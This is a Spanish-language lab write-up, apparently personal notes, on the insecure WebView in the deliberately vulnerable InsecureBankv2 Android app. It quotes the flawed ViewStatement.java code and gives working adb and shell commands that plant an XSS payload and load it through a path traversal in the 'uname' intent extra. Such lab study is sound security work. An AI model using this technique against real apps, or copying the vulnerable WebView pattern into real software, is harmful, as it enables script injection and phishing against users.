Skip to content

8- Insecure Webview implementation

Si observamos el código de ViewStatement.java

Vemos primero que las transferencias se guardan en un archivo externo, cosa que se reporta en 1- Insecure Storage

Además el intent se puede cargar simplemente sabiendo el nombre del usuario, se menciona en 2- Insecure Logging mechanism & Access Control Issues

Y por último vemos lo siguiente:

java
protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_view_statement);
	Intent intent = getIntent();
	this.uname = intent.getStringExtra("uname");
	String FILENAME = "Statements_" + this.uname + ".html";
	File fileToCheck = new File(Environment.getExternalStorageDirectory(), FILENAME);
	System.out.println(fileToCheck.toString());
	if (fileToCheck.exists()) {
		WebView mWebView = (WebView) findViewById(R.id.webView1);
		mWebView.loadUrl("file://" + Environment.getExternalStorageDirectory() + "/Statements_" + this.uname + ".html");
		mWebView.getSettings().setJavaScriptEnabled(true);
		mWebView.getSettings().setSaveFormData(true);
		mWebView.getSettings().setBuiltInZoomControls(true);
		mWebView.setWebViewClient(new MyWebViewClient());
		WebChromeClient cClient = new WebChromeClient();
		mWebView.setWebChromeClient(cClient);
		return;
	}
	Intent gobacktoPostLogin = new Intent(this, (Class<?>) PostLogin.class);
	startActivity(gobacktoPostLogin);
	Toast.makeText(this, "Statement does not Exist!!", 1).show();
}

Controlamos el extra uname por lo que podríamos 1. cargar el archivo de Statements de otro usuario logueado 2. hacer un path traversal para cargar en el webview el archivo que queramos del almacenamiento, la cosa es que antes se le concatena /Statements_ siempre.

java
mWebView.loadUrl("file://" + Environment.getExternalStorageDirectory() + "/Statements_" + this.uname + ".html");

Podemos crear la carpeta Statements_ antes

bash
cd sdcard
mkdir Statements_
echo '<script>alert("Hacked")</script><h1>Hacked!</h1>' > index

Y sabiendo que al final le concatena un .html podemos enviar /../index para ejecutar un Cross-Site Scripting

bash
adb shell am start \
  -n com.android.insecurebankv2/.ViewStatement \
  --es uname '/../index'
Pasted image 20260901204932

La cosa es que solo podemos leer archivos que acaben en .html

De todas formas este LFI + XSS puede servirle a una app maliciosa que haya obtenido permiso de escritura al almacenamiento externo usarse para phishings, redirigir a sitios maliciosos ...

Notas personales de seguridad ofensiva.